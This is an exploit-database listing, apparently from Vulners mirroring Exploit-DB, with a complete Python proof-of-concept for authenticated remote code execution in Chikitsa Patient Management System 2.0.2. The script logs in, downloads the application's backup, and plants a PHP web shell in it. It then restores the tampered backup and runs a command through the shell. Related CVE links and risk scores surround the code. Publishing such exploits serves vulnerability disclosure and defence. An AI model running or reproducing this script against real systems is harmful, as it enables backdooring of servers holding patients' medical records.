Lucene search
+L

Chikitsa Patient Management System 2.0.2 - 'backup' Authenticated Remote Code Execution (RCE)

🗓️ 09 Dec 2021 00:00:00Reported by 0z09eType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 346 Views

Chikitsa Patient Management System 2.0.2 'backup' Remote Code Execution (RCE

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-47757
15 Jan 202615:52
–attackerkb
circl
Circl
CVE-2021-47757
15 Jan 202617:56
–circl
cnnvd
CNNVD
Chikitsa code vulnerabilities
15 Jan 202600:00
–cnnvd
cve
CVE
CVE-2021-47757
15 Jan 202615:52
–cve
cvelist
Cvelist
CVE-2021-47757 Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
15 Jan 202615:52
–cvelist
euvd
EUVD
EUVD-2026-2778
15 Jan 202615:52
–euvd
nvd
NVD
CVE-2021-47757
15 Jan 202616:16
–nvd
osv_cve
osv_cve
CVE-2021-47757
15 Jan 202616:16
–osv_cve
ptsecurity
Positive Technologies
PT-2026-3033
15 Jan 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2021-47757: Unrestricted Upload of File with Dangerous Type
15 Jan 202600:00
–rapid7
Rows per page
# Exploit Title: Chikitsa Patient Management System 2.0.2 - 'plugin' Remote Code Execution (RCE) (Authenticated)
# Date: 03/12/2021
# Exploit Author: 0z09e (https://twitter.com/0z09e)
# Vendor Homepage: https://sourceforge.net/u/dharashah/profile/
# Software Link: https://sourceforge.net/projects/chikitsa/files/Chikitsa%202.0.2.zip/download
# Version: 2.0.2
# Tested on: Ubuntu

import requests
import os
from zipfile import ZipFile
import argparse




def login(session , target , username , password):
	print("[+] Attempting to login with the credential")
	url = target + "/index.php/login/valid_signin"
	login_data = {"username" : username , "password" : password}
	session.post(url , data=login_data , verify=False)
	return session


def download_backup( session , target):
	print("[+] Downloading the backup (This may take some time)")
	url = target + "/index.php/settings/take_backup/"
	backup_req = session.get(url , verify=False)
	global tmp_dir
	tmp_dir = os.popen("mktemp -d").read().rstrip()
	open(tmp_dir + "/backup_raw.zip" , "wb").write(backup_req.content)
	print(f"[+] Backup downloaded at {tmp_dir}/backup_raw.zip")


def modify_backup():
	print("[+] Modifying the backup by injecting a backdoor.")
	zf = ZipFile(f'{tmp_dir}/backup_raw.zip', 'r')
	zf.extractall(tmp_dir)
	zf.close()
	open(tmp_dir + "/uploads/media/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
	os.popen(f"cd {tmp_dir}/ && zip -r backup_modified.zip chikitsa-backup.sql prefix.txt uploads/").read()


def upload_backup(session , target):
	print("[+] Uploading the backup back into the server.(This may take some time)")
	url = target + "/index.php/settings/restore_backup"
	file = open(f"{tmp_dir}/backup_modified.zip" , "rb").read()
	session.post(url , verify=False ,files = {"backup" : ("backup-modified.zip" , file)})
	print(f"[+] Backdoor Deployed at : {target}/uploads/restore_backup/uploads/media/rce.php")
	print(f"[+] Example Output : {requests.get(target +'/uploads/restore_backup/uploads/media/rce.php?cmd=id' , verify=False).text}")




def main():
	parser = argparse.ArgumentParser("""
		        __    _ __   _ __
  _____/ /_  (_) /__(_) /__________ _
 / ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__  ) /_/ /
\___/_/ /_/_/_/|_/_/\__/____/\__,_/

Chikitsa Patient Management System 2.0.2 Authenticated Remote Code Execution :
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
	req_args = parser.add_argument_group('required arguments')
	req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
	req_args.add_argument("-u" , "--username" , help="Username" , required=True)
	req_args.add_argument("-p" , "--password" , help="password", required=True)
	args = parser.parse_args()

	target = args.URL
	if target[-1] == "/":
		target = target[:-1]
	username = args.username
	password = args.password

	session = requests.session()
	login(session ,target , username , password)
	download_backup(session , target )
	modify_backup()
	upload_backup(session , target)


if __name__ == "__main__":
	main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
CVSS 3.18.8
EPSS0.00884
SSVC
346